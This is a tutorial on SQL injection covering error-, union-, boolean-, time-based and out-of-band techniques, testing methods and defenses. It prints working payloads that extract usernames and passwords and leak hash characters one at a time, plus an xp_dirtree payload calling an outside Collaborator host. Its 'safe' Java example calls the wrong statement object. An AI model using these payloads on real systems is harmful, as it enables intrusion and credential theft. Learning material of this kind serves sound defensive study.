SQL Injection
What Is SQL Injection?
Vulnerability that consists of an attacker interfering with the SQL queries that an application makes to a database.
Impact of SQL Injection Attacks
- Unauthorized access to sensitive data
- Confidentiality – SQLi can be used to view sensitive information, such as application usernames and passwords
- Integrity – SQLi can be used to alter data in the database
- Availability – SQLi can be used to delete data in the database
- Remote code execution on the operating system
Types of SQL Injection
In-Band SQL Injection
- In-band SQLi occurs when the attacker uses the same communication
channel to both launch the attack and gather the result of the attack
- Retrieved data is presented directly in the application web page
- Easier to exploit than other categories of SQLi
- Two common types of in-band SQLi
- Error-based SQLi
- Union-based SQLi
Error-Based SQLi
- Error-based SQLi is an in-band SQLi technique that forces the database to generate an error, giving the attacker information upon which to refine their injection.
- Example:
- Input:
www.random.com/app.php?id='
- Output:
You have an error in your SQL sytax, check the manual that corresponds to your MySQL server version…
- Input:
- Example:
Union-Based SQLi
- Union-based SQLI is an in-band SQLi technique that leverages the UNION SQL operator to combine the results of two queries into a single result set
- Example:
- Input:
www.random.com/app.php?id=' UNION SELECT username, password FROM users--
- Output:
carlos afibh9cjnkuwcsfobs7h administrator tn8f921skp5dzoy7hxpk
- Input:
Inferential (Blind) SQL Injection
- SQLi vulnerability where there is no actual transfer of data via the web application
- Just as dangerous as in-band SQL injection
- Attacker able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.
- Takes longer to exploit than in-band SQL injection
- Two common types of blind SQLi
- Boolean-based SQLi
- Time-based SQLi
Boolean-Based Blind SQLi
- Boolean-based SQLi is a blind SQLi technique that uses Boolean conditions to return a different result depending on whether the query returns a TRUE or FALSE result.
- Example URL:
www.random.com/app.php?id=1
- Backend Query:
select title from product where id =1
- Payload #1 (False):
www.random.com/app.php?id=1 and 1=2
- Backend Query:
select title from product where id =1 and 1=2
- Payload #2 (True):
www.random.com/app.php?id=1 and 1=1
- Backend Query:
select title from product where id =1 and 1=1
- Users Table:
Administrator / e3c33e889e0e1b62cb7f65c63b60c42bd77275d0e730432fc37b7e624b09ad1f
- Payload:
www.random.com/app.php?id=1 and SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1,1) = 's'
- Backend Query:
select title from product where id =1 and SUBSTRING((SELECT Password FROM Users WHERE Username ='Administrator'), 1, 1) = 's'
Nothing is returned on the page - Returned False - ‘s’ is NOT the first character of the hashed password
- Payload:
www.random.com/app.php?id=1 and SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1,1) = 'e'
- Backend Query:
select title from product where id =1 and SUBSTRING((SELECT Password FROM Users WHERE Username ='Administrator'), 1, 1) = 'e'
Time-Based Blind SQLi
- Time-based SQLi is a blind SQLi technique that relies on the database pausing for a specified amount of time, then returning the results, indicating a successful SQL query execution.
- Example Query:
If the first character of the administrator’s hashed password is an ‘a’, wait for 10 seconds.
- response takes 10 seconds → first letter is ‘a’
- response doesn’t take 10 seconds → first letter is not ‘a’
Out-Of-Band (OAST) SQLi
- Vulnerability that consists of triggering an out-of-band network
connection to a system that you control.
- Not common
- A variety of protocols can be used (ex. DNS, HTTP)
- Example Payload:
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
How to Find SQL Injection Vulnerabilities
Black-Box Testing
- Map the application
- Fuzz the application
- Submit SQL-specific characters such as ' or ", and look for errors or other anomalies
- Submit Boolean conditions such as OR 1=1 and OR 1=2, and look for differences in the application's responses
- Submit payloads designed to trigger time delays when executed within a SQL query, and look for differences in the time taken to respond
- Submit OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL query, and monitor for any resulting interactions
White-Box Testing
- Enable web server logging
- Enable database logging
- Map the application
- Visible functionality in the application
- Regex search on all instances in the code that talk to the database
- Code review!
- Follow the code path for all input vectors
- Test any potential SQLi vulnerabilities
How to Exploit SQL Injection Vulnerabilities
Exploiting Error-Based SQLi
- Submit SQL-specific characters such as ' or ", and look for errors or other anomalies
- Different characters can give you different errors
Exploiting Union-Based SQLi
There are two rules for combining the result sets of two queries by using UNION:
- The number and the order of the columns must be the same in all queries
- The data types must be compatible
Exploitation:
- Figure out the number of columns that the query is making
- Figure the data types of the columns (mainly interested in string data)
- Use the UNION operator to output information from the database
Determining the number of columns required in an SQL injection UNION attack using ORDER BY:
-
select title, cost from product where id =1 order by 1
-
Incrementally inject a series of ORDER BY clauses until you get an error or observe a different behaviour in the application
order by 1--
order by 2--
order by 3--
The ORDER BY position number 3 is out of range of the number of items in the select list.
Determining the number of columns required in an SQL injection UNION attack using NULL VALUES:
-
select title, cost from product where id =1 UNION SELECT NULL--
-
Incrementally inject a series of UNION SELECT payloads specifying a different number of null values until you no longer get an error
' UNION SELECT NULL--
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
Finding columns with a useful data type in an SQL injection UNION attack:
-
Probe each column to test whether it can hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn
-
' UNION SELECT 'a',NULL--
-
Conversion failed when converting the varchar value 'a' to data type int.
' UNION SELECT 'a',NULL--
' UNION SELECT NULL,'a'
Exploiting Boolean-Based SQLi
- Submit a Boolean condition that evaluates to False and not the response
- Submit a Boolean condition that evaluates to True and note the response
- Write a program that uses conditional statements to ask the database a series of True / False questions and monitor response
Exploiting Time-Based SQLi
- Submit a payload that pauses the application for a specified period of time
- Write a program that uses conditional statements to ask the database a series of TRUE / FALSE questions and monitor response time
Exploiting Out-of-Band SQLi
- Submit OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL query, and monitor for any resulting interactions
- Depending on SQL injection use different methods to exfil data
How to Prevent SQL Injection Vulnerabilities
- Primary Defenses:
- Option 1: Use of Prepared Statements (Parameterized Queries)
- Option 2: Use of Stored Procedures (Partial)
- Option 3: Whitelist Input Validation (Partial)
- Option 4: Escaping All User Supplied Input (Partial)
- Additional Defenses:
- Also: Enforcing Least Privilege
- Also: Performing Whitelist Input Validation as a Secondary Defense
Option 1 - Use Of Prepared Statements
Code vulnerable to SQLi:
String query = "SELECT account_balance FROM user_data WHERE user_name= " + request.getParameter("customerName");
try{
Statement statement = connection.createStatement(...);
ResultSet results = statement.executeQuery(query);
}
Spot the issue? statement
- User supplied input "customerName" is embedded directly into the SQL statement
The construction of the SQL statement is performed in two steps:
- The application specifies the query’s structure with placeholders for each user input
- The application specifies the content of each placeholder
Code not vulnerable to SQLi:
//This should be validated too
String custname = request.getParameter("customerName");
String query = "SELECT account_balance FROM user_data WHERE user_name= ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, custname);
ResultSet results = statement.executeQuery();
Partial Options
Option 2: Use of Stored Procedures
- A stored procedure is a batch of statements grouped together and stored in the database
- Not always safe from SQL injection, still need to be called in a parameterized way Option 3: Whitelist Input Validation
- Defining what values are authorized. Everything else is considered unauthorized
- Useful for values that cannot be specified as parameter placeholders, such as the table name. Option 4: Escaping All User Supplied Input
- Should be only used as a last resort
Additional Defenses
Least Privilege
- The application should use the lowest possible level of privileges when accessing the database
- Any unnecessary default functionality in the database should be removed or disabled
- Ensure CIS benchmark for the database in use is applied
- All vendor-issued security patches should be applied in a timely fashion